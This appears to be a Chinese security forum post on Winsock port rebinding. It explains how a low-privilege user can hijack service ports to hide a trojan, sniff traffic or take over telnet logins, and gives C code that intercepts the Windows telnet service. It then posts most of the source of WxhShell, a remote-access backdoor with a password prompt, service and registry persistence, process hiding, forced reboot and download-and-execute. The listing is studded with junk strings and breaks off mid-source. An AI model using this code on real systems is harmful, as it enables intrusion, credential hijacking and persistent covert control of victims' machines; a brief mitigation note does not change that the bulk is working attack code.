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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I6F $@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e#{l  
U\",!S~<  
  saddr.sin_family = AF_INET; w'!J   
ju;Myi}a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); F[U0TP@&*  
29h_oNO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h>jp.%oOu  
  [IW6F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ZfIeq<8 _  
}zV#?;}  
  这意味着什么?意味着可以进行如下的攻击: 3})0p  
1 ,4V8gp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &pLCN[a  
U7Pn $l2!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8*yk y  
tsqWnz=)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5[>N[}Ck>  
dZjh@yGP.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2/FH9T;e".  
d0@czNWIC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 aOo;~u2-=  
bR? $a+a)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vke]VXU9z  
uB uwE6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9IG3zMf  
qy~@cPT  
  #include 9mH+Ol#(  
  #include W/I D8+:i  
  #include +\`t@Ht#  
  #include    h}(GOY S)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }=^Al;W  
  int main() {:d9q  
  { DYvg^b  
  WORD wVersionRequested; 4xNzhnp|  
  DWORD ret; 1`8(O >5  
  WSADATA wsaData; oq}Q2[.b  
  BOOL val; Q\<^ih51  
  SOCKADDR_IN saddr; J*CfG;Y:  
  SOCKADDR_IN scaddr; 5mYI5~ p  
  int err; I`}<1~ue  
  SOCKET s; Qz?r4kR  
  SOCKET sc; 4'-GcH  
  int caddsize; HxH=~B1"P  
  HANDLE mt; s_N]$3'[E  
  DWORD tid;   T~'9p`IW  
  wVersionRequested = MAKEWORD( 2, 2 ); vdN0YCXG  
  err = WSAStartup( wVersionRequested, &wsaData ); 66~]7w  
  if ( err != 0 ) { hFWK^]~ a  
  printf("error!WSAStartup failed!\n"); Lg4I6 G  
  return -1; ym)`<[T  
  } Z ]WA-Q6n  
  saddr.sin_family = AF_INET; 9ApGn!`  
   E$8 4c+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C]+T5W\"<B  
yD9<-B<)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P&@[ j0  
  saddr.sin_port = htons(23); A?sU[b6_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PNMf5'@m  
  { x2g P, p-  
  printf("error!socket failed!\n"); Yl6\}_h`  
  return -1; ~_Mz05J-\_  
  } )z#M_[zC>  
  val = TRUE; ]w=6.LzO*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *!y.!v*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) lhA<wV1-9G  
  { zx{O/v KG  
  printf("error!setsockopt failed!\n"); hq^@t6!C\m  
  return -1; pJ1Q~tI  
  } A?xb u*zV,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `FM^)(wT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 A{Q:,S)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /y"Y o  
ihJC)m`Hbl  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y 3O Nn~k  
  { ;hLne0|)}  
  ret=GetLastError(); [oQ&}3\XJ  
  printf("error!bind failed!\n"); <KDl2>O  
  return -1; Rl"" aZ  
  } yxa~R z/  
  listen(s,2); {E~ MqrX  
  while(1) pQ Y.MZSA  
  { wB;'+d&  
  caddsize = sizeof(scaddr); q:1_D>  
  //接受连接请求 z!I(B^)BkT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Bu$GCSrX  
  if(sc!=INVALID_SOCKET) :K6(`J3Y"^  
  { <IBzh_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9GZKT{*  
  if(mt==NULL) QAy9RQ0  
  { KD~F5aS`[  
  printf("Thread Creat Failed!\n"); \ns#l@B  
  break; #?z 1cgCg  
  } hFjXgpz5  
  } Tx7YHE6{  
  CloseHandle(mt); vx\h Njb  
  } X=p~`Ar M{  
  closesocket(s); z AxwM-`  
  WSACleanup(); q#RVi8('  
  return 0; ZK[S'(6q  
  }   }hFjl4`xa  
  DWORD WINAPI ClientThread(LPVOID lpParam) o?J>mpC  
  { ZC1U  
  SOCKET ss = (SOCKET)lpParam; z.[ Ok  
  SOCKET sc; m dC.M$  
  unsigned char buf[4096]; ntSPHK|'  
  SOCKADDR_IN saddr; F=hfbCF5x  
  long num; {[4Y(l1  
  DWORD val; o " x& F  
  DWORD ret; |j i}LWcD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 G'z&U?Ng  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8P3EQY -  
  saddr.sin_family = AF_INET; %Iv0<oU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); URW'*\Xjb  
  saddr.sin_port = htons(23); .Wq`q F(;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oWpy ^=D_  
  { S`"M;%T  
  printf("error!socket failed!\n"); eD, 7gC-  
  return -1; yoj5XBM  
  } r^?%N3  
  val = 100; }q(IKH\&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iw(\]tMt  
  { :!1B6Mc  
  ret = GetLastError(); yVxR||e  
  return -1; d%9r"=/  
  } NdQXQa?,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qfY.X&]PU  
  { [JGa3e  
  ret = GetLastError(); Wv"[,5 Z13  
  return -1; 6!i0ioZzi0  
  } (*%+!PS  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u+zq:2)H6  
  { HPT9B?^  
  printf("error!socket connect failed!\n"); P,O9On  
  closesocket(sc); KW.S)+<H&  
  closesocket(ss); s&lZxnIjc  
  return -1; Uc }L/ax  
  } mhM=$AIq  
  while(1) 7;n'4LIa9  
  { ~"5WQK`@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vbQo8GFp}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (0"9562  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 oS$&jd  
  num = recv(ss,buf,4096,0); oj<.axA,  
  if(num>0) ^n<p#0)+a  
  send(sc,buf,num,0); ];1z%.  
  else if(num==0) <9/oqp{C4  
  break; h2KXW}y"4  
  num = recv(sc,buf,4096,0); 6kjBd3  
  if(num>0) |J`YFv  
  send(ss,buf,num,0); 3;j?i<kM  
  else if(num==0) }_M .-Xm  
  break; +6f5uMKUvs  
  } ''wWw(2O  
  closesocket(ss); FI~)ZhE)]  
  closesocket(sc); QHsS|\u  
  return 0 ; jjz<V(Sk  
  } RH. oo&  
mYb8   
^$_a_ft#  
========================================================== e9q/[xMi  
iYv6B6o/99  
下边附上一个代码,,WXhSHELL P7 E}^y`e  
5gV8=Ml"V  
========================================================== -2tX 15,  
Eln"RKCt}9  
#include "stdafx.h" {:Z#8dGe  
$RKd@5XP  
#include <stdio.h> &tQ,2RT  
#include <string.h> \GbT^!dj  
#include <windows.h> m{x!uq  
#include <winsock2.h> uwWfL32  
#include <winsvc.h> mb?DnP,z  
#include <urlmon.h> ZH`6>:  
TRAs5I%  
#pragma comment (lib, "Ws2_32.lib") q?Q"Ab  
#pragma comment (lib, "urlmon.lib") n\*>m p)  
`/]8C &u  
#define MAX_USER   100 // 最大客户端连接数 =X>3C"]  
#define BUF_SOCK   200 // sock buffer 42Vy#t/HC  
#define KEY_BUFF   255 // 输入 buffer *s?&)][  
&6MGPh7T  
#define REBOOT     0   // 重启 N"T~U\R  
#define SHUTDOWN   1   // 关机 _:M6~XHo  
n`68<ybl5  
#define DEF_PORT   5000 // 监听端口 kd'qYh  
rEdr8qw  
#define REG_LEN     16   // 注册表键长度 Cz?N[dhh  
#define SVC_LEN     80   // NT服务名长度 60teD>Eh,  
kzns:-a  
// 从dll定义API B {/Pv0y   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z8>KY/c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); klUxt?-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !U,qr0h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q&Q* gEFK  
n4k. tq  
// wxhshell配置信息 VrO$SmH  
struct WSCFG { [4Glt>Nj>  
  int ws_port;         // 监听端口 F^T7u?^)  
  char ws_passstr[REG_LEN]; // 口令 CHWyy  
  int ws_autoins;       // 安装标记, 1=yes 0=no G+b$WQn2t  
  char ws_regname[REG_LEN]; // 注册表键名 ))G%C6-  
  char ws_svcname[REG_LEN]; // 服务名 u;& `_=p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jfqWcX.X=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XT~JP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 * 2T&pX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C+ r--"Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F.PD5%/$q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lEZ[0oa  
RURO0`^  
}; P!B\:B%4~]  
m]N 4.J  
// default Wxhshell configuration 9qQ_#$Vv  
struct WSCFG wscfg={DEF_PORT, >|@ /GpD  
    "xuhuanlingzhe", f5wOk& G  
    1, IDE@{Dy  
    "Wxhshell", #B`"B  
    "Wxhshell", lUCdnp;w'  
            "WxhShell Service", Wz:MPdz3(  
    "Wrsky Windows CmdShell Service", vCbqZdy?  
    "Please Input Your Password: ", A[ /0on5r  
  1, '4dnC2a]  
  "http://www.wrsky.com/wxhshell.exe", 5 ;dg#hO  
  "Wxhshell.exe" !&SUoa  
    }; <B$Lu4b@c  
9S&6u1  
// 消息定义模块 Mk|h ><Q"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '$1-A%e$1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;N]ElwP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'D\(p,(Mt  
char *msg_ws_ext="\n\rExit."; -Q 6W`*8  
char *msg_ws_end="\n\rQuit."; :;{U2q+  
char *msg_ws_boot="\n\rReboot..."; qdZn9i  
char *msg_ws_poff="\n\rShutdown..."; :r^i0g|5P  
char *msg_ws_down="\n\rSave to "; Iy|]U&`  
XuR!9x^5  
char *msg_ws_err="\n\rErr!"; 7F\U|kx_  
char *msg_ws_ok="\n\rOK!"; xC<OFpI\  
NO`a2HR$  
char ExeFile[MAX_PATH]; ]wa?~;1^&  
int nUser = 0; 8-juzL}  
HANDLE handles[MAX_USER]; =kZPd>&L  
int OsIsNt; ?h K+h.{  
\^N9Q9{7]  
SERVICE_STATUS       serviceStatus; \+Qx}bS{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j*W]^uT,  
~O@V;y  
// 函数声明 o~<fw]y  
int Install(void); [_-CO }>  
int Uninstall(void); vj?9X5A_  
int DownloadFile(char *sURL, SOCKET wsh); y7d)[d*Mz  
int Boot(int flag); 4y 582u6^  
void HideProc(void); a4g=cs<9}  
int GetOsVer(void); vWe)cJ  
int Wxhshell(SOCKET wsl); 3iH!;`i  
void TalkWithClient(void *cs); `j4ukOnG  
int CmdShell(SOCKET sock); rm3 ~]  
int StartFromService(void); i1  SP  
int StartWxhshell(LPSTR lpCmdLine); ?$-OdABXHK  
h5Qxa$Oq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K{M_ 4'\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e *;"$7o9  
mtmBL 2?  
// 数据结构和表定义 _a15R/S  
SERVICE_TABLE_ENTRY DispatchTable[] = j]Rl1~+M  
{ KMoRMCT  
{wscfg.ws_svcname, NTServiceMain}, us`hR!_  
{NULL, NULL} 6sQ"go$}  
}; QnaMjDh$6  
w4(DR?[nC  
// 自我安装 w`>xK sKW>  
int Install(void) d<7xSRC   
{ )_xM)mH  
  char svExeFile[MAX_PATH]; qZ_^#%zO  
  HKEY key; 0lmoI4bW}s  
  strcpy(svExeFile,ExeFile); YfxZ<  
{v;Y}o-p  
// 如果是win9x系统,修改注册表设为自启动 A "_;.e`  
if(!OsIsNt) { ru'Xet  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B Sb!{|]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O_F<VV*MFQ  
  RegCloseKey(key); ;\Wg>sq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]7dm`XV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {r'#(\  
  RegCloseKey(key); /Pg66H#RUf  
  return 0; Sw'DS  
    } $`l- cSH;  
  } #Y`U8n2F  
} PJA 1/"  
else { c/T]=S[  
G;fP  
// 如果是NT以上系统,安装为系统服务 apGf@b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &)xoR4!2  
if (schSCManager!=0) bmt2~!  
{ c?<FMb3]  
  SC_HANDLE schService = CreateService rf)\:75  
  ( 5"XcVH4g  
  schSCManager, oh& P Q{  
  wscfg.ws_svcname, IWm|6@y  
  wscfg.ws_svcdisp, aeH 9:GQ6  
  SERVICE_ALL_ACCESS, De4+4&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !R)v2Mk|  
  SERVICE_AUTO_START, (O&ooM* o  
  SERVICE_ERROR_NORMAL, P}?,*'b  
  svExeFile, U6.$F#n  
  NULL, ? 76jz>;b  
  NULL, ~73YOGiGJH  
  NULL, '^7Sa  
  NULL, ?"qU.}kGL  
  NULL uERc\TZ  
  ); \:-; {  
  if (schService!=0) _h@e.BtDs  
  { p@r~L(>+3  
  CloseServiceHandle(schService); #[I`VA\x  
  CloseServiceHandle(schSCManager); n/^wzG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +sgishqn9  
  strcat(svExeFile,wscfg.ws_svcname); gR~XkU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F5+f?B~?R?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n6L}#aZG  
  RegCloseKey(key); lv$tp,+  
  return 0; G+\2Aj  
    } :j?Lil%R  
  } ]<z>YyBA  
  CloseServiceHandle(schSCManager); h\D y(\  
} , Y9lp)w  
} 7U?x8%H*  
Nz5gu.a6{L  
return 1; aQinR"o  
} g w }t.3}  
T-|z18|!  
// 自我卸载 Zf?>:P  
int Uninstall(void) Pfi '+I`s  
{ AbLOq@lrK  
  HKEY key; 1{nXmtvr  
Y}nE/bmx&9  
if(!OsIsNt) { ?N$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~p oy`h'  
  RegDeleteValue(key,wscfg.ws_regname); _Y}(v( (;  
  RegCloseKey(key); e[R364K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #XC\= pZX  
  RegDeleteValue(key,wscfg.ws_regname); Zr oj-3-X~  
  RegCloseKey(key); qjUQ2d  
  return 0; + s1mm c  
  } Z$HYXm  
} nJ'O(Wh,)  
} 10}\7p8  
else { XQlK}AK  
g-Z>1V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0[9A*  
if (schSCManager!=0) m./lrz  
{ oryoGy=(yk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }1d 6d3b  
  if (schService!=0) C4Bh#C  
  { {!'AR`|  
  if(DeleteService(schService)!=0) { g4I(uEJk  
  CloseServiceHandle(schService); #Du1(R  
  CloseServiceHandle(schSCManager); 7c4\'dt#  
  return 0; z#bO FVg#  
  } h7I_{v8  
  CloseServiceHandle(schService); qrm~=yU%  
  } *>S\i7RET  
  CloseServiceHandle(schSCManager); Td"f(&Hk&  
} oDM}h +  
} <P}{0Y~@*W  
>RF[0s'-  
return 1; $S=lm {  
} [T~O%ly7x&  
dO rgqz`e  
// 从指定url下载文件 (j}"1  
int DownloadFile(char *sURL, SOCKET wsh) Ou8@7S  
{ 0I~xD9l9  
  HRESULT hr; x:@HtTX  
char seps[]= "/"; F/&Z1G.  
char *token; ",`fGu )  
char *file; y=5s~7]  
char myURL[MAX_PATH]; x1Z?x,-D"  
char myFILE[MAX_PATH]; wdl6dLu  
7 P=1+2V  
strcpy(myURL,sURL); 2-]gHAw%  
  token=strtok(myURL,seps); ihf5`mk/$  
  while(token!=NULL) 0=L:8&m  
  { l"b78n  
    file=token; IqcPml{\  
  token=strtok(NULL,seps); .CrahV1G  
  } :m^eNS6:  
C!RxMccTh  
GetCurrentDirectory(MAX_PATH,myFILE); A&F@+X6@  
strcat(myFILE, "\\"); +a nNpy  
strcat(myFILE, file); &7|=8Z[o  
  send(wsh,myFILE,strlen(myFILE),0); sT'wps2  
send(wsh,"...",3,0); 1&Nk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4vp,izNW  
  if(hr==S_OK) _@jl9<t=_  
return 0; WR gAc%  
else ,MuLu,$/  
return 1; OHM.xw*?.  
O2ety2}?f  
} 4N*Fq!k~  
l|U=(aA]h  
// 系统电源模块 MDl  
int Boot(int flag) rkG*0#k  
{ IkL|bV3E0  
  HANDLE hToken; O^F%ssF8  
  TOKEN_PRIVILEGES tkp; AEOo]b*&d  
Aj SIM.  
  if(OsIsNt) { ~*THL0]~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,? <jue/bd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OUnt?[U\  
    tkp.PrivilegeCount = 1; o&fAnpia=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; li%=<?%T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^e<0-uM" s  
if(flag==REBOOT) { WLv( K_3Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %+Mi~k*A'  
  return 0; ^nFa'=  
} Pm7,Nq)<>n  
else { mNWmp_c,1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @H1pPr  
  return 0; l J;wl|9  
} L7%Dc2{^(  
  } $2 ~A^#"0  
  else { F+*: >@3  
if(flag==REBOOT) { )Xl/|YD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -Ufd+(   
  return 0; t 0nGZ%`  
} R%8nR6iG"  
else { 9I+;waLlB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) - :*PXu  
  return 0; r >u0Y  
} -"<H$  
} ATk>:^n  
`c(,_o a{  
return 1; .e"De-u  
} 9%> H}7=  
&}YB!6k h^  
// win9x进程隐藏模块 6./h0kD`  
void HideProc(void) ShF ][v1L  
{ vA;ml$  
!ck=\3pr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y}(v[QGV  
  if ( hKernel != NULL ) 6V*@ {  
  { 4US8B=jk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V0c*M>V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k2,n:7  
    FreeLibrary(hKernel); V.: a6>]  
  } = 14'R4:  
]J5[ZVz  
return; U$ _?T-x  
} {~[H"h537t  
KFCuv15w,3  
// 获取操作系统版本  ORp6  
int GetOsVer(void) ZgZ}^x  
{ .A&Ey5  
  OSVERSIONINFO winfo; +2|X 7wA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >"5^]o2?~l  
  GetVersionEx(&winfo); zPH1{|H+l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uy~5!i&  
  return 1; @@'zMV%  
  else wvp\'* $  
  return 0; =_D82`p  
} ! |}J{  
 A5F< <  
// 客户端句柄模块 lWd)(9K j  
int Wxhshell(SOCKET wsl) =}Bq"m  
{ 7.hVbjy'-  
  SOCKET wsh; S%kE<M?  
  struct sockaddr_in client; rs=wEMq/  
  DWORD myID; 3!Rb {  
&s\$&%|  
  while(nUser<MAX_USER) f?2Y np=@  
{ !b7]n-1zs  
  int nSize=sizeof(client); ` {k>I^Pg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G0^23j  
  if(wsh==INVALID_SOCKET) return 1; "z=A=~~<{  
[o*u!2 r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D 7 [n^WtL  
if(handles[nUser]==0) hG2btmBht  
  closesocket(wsh); |\XjA4j  
else Q`,D#V${D  
  nUser++; &z 1A-O v  
  } 5R{ {FD`h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >Y1?`  
7h&$^  
  return 0; 818</b<yn  
} .gG<08Z  
@zT.&1;`  
// 关闭 socket n-}:D<\7  
void CloseIt(SOCKET wsh) yodJGGAzk  
{ c<y.Y0  
closesocket(wsh); 4)]g=-3  
nUser--; ?0DCjh8We  
ExitThread(0); #fk)Y1  
} / h0-qW  
ie 2X.#  
// 客户端请求句柄 5w@  ;B  
void TalkWithClient(void *cs) DcQ^V4_  
{ oZA|IF8U0  
one^XYy1%  
  SOCKET wsh=(SOCKET)cs; _B 8e 1an  
  char pwd[SVC_LEN]; 2 t< dCw  
  char cmd[KEY_BUFF]; f"k?Ix\ e  
char chr[1]; lqF{Y<l  
int i,j; o~NeS|a  
7B"J x^  
  while (nUser < MAX_USER) { 0`h[|FYV  
KQJn\#>  
if(wscfg.ws_passstr) { {l0;G) -  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rPaD#GA[7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 69dFd!G\  
  //ZeroMemory(pwd,KEY_BUFF); [{}9"zB$x0  
      i=0; h| !B;D  
  while(i<SVC_LEN) { oeDsJ6;  
r{YyKSL1*K  
  // 设置超时 SR*%-JbA  
  fd_set FdRead; vk5pnCM^3  
  struct timeval TimeOut; xv$^%(Ujp  
  FD_ZERO(&FdRead); >QE^KtZ  
  FD_SET(wsh,&FdRead); 95T%n{rz  
  TimeOut.tv_sec=8; ^n@iCr9  
  TimeOut.tv_usec=0; YQ,IdWav  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p0qQ(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L}XERO TR  
|Mo# +{~c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w_KGn17  
  pwd=chr[0]; _a+0LTo".  
  if(chr[0]==0xd || chr[0]==0xa) { Jtd@8fVi  
  pwd=0; ?Ih24>:D  
  break; _xl#1>G^J  
  } [l- zU}u&v  
  i++; ,^26.p$  
    } 6lT1X)  
yx{Ac|<mR  
  // 如果是非法用户,关闭 socket UciWrwE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CV]PCq!  
} `DG6ollp{  
8kW9.   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D8m?`^Zz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); smIZ:L %  
"sAR< 5b  
while(1) { thipfS  
%f6l"~y  
  ZeroMemory(cmd,KEY_BUFF); w?jmi~6  
xXA$16kd  
      // 自动支持客户端 telnet标准   g~FB&U4c  
  j=0; u\t[rC=yd  
  while(j<KEY_BUFF) { [O"i!AQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2O<S ig=  
  cmd[j]=chr[0]; )P|%=laE8  
  if(chr[0]==0xa || chr[0]==0xd) { >z>UtT:  
  cmd[j]=0; Mky$#SI11  
  break; ;f= :~go  
  } .7ahz8v  
  j++; p\+#`] Q7}  
    } /D1Bf:'(  
gW/H#T,  
  // 下载文件 7 aDI6G  
  if(strstr(cmd,"http://")) { S~(4q#Dt-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &U4]hawbOU  
  if(DownloadFile(cmd,wsh)) <Cg;l<$`b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]DmqhK`  
  else Qbl6~>T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W.MJyem  
  } g+ 2SB5 2D  
  else { RVI],O  
:&?#~NFH  
    switch(cmd[0]) { o&(%:|  
  ni2H~{]z  
  // 帮助 82O`<Ci  
  case '?': { ~gI%   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w2+RX-6Ie  
    break; Kw!`u^>  
  } *9PS2*n  
  // 安装 hXz"}X n  
  case 'i': { 9?,n+  
    if(Install()) F<V zVEx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }{K)5k@  
    else Wv=L_E_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vg:P@6s  
    break; :6HMb^4  
    } et9 c<'  
  // 卸载 hp,T(D|  
  case 'r': { g:[&]o} :9  
    if(Uninstall()) 6O tv[8^}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]"/ *7NM  
    else ,l0s(Cg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GExG1n-  
    break; 5Qy,P kje  
    } NA/+bgyuT>  
  // 显示 wxhshell 所在路径 * +OAc `8  
  case 'p': { XJ?@l3D:  
    char svExeFile[MAX_PATH]; +Kf::[wP7  
    strcpy(svExeFile,"\n\r"); J,7_5V@jJ  
      strcat(svExeFile,ExeFile); a#uJzYB0  
        send(wsh,svExeFile,strlen(svExeFile),0); 8$G$Rdn  
    break; i3e|j(Gs4  
    } *,'"\n  
  // 重启 t8?+yG;  
  case 'b': { []dRDe;#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ioa 1n=j  
    if(Boot(REBOOT)) i w m7M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A% Bz52yg  
    else { 'kx{0J?  
    closesocket(wsh); !%Z1" FDm/  
    ExitThread(0); /f# rN_4  
    } .zegG=q  
    break; \2NiI]t]  
    } E"L'm0i[[  
  // 关机 :-6_X<  
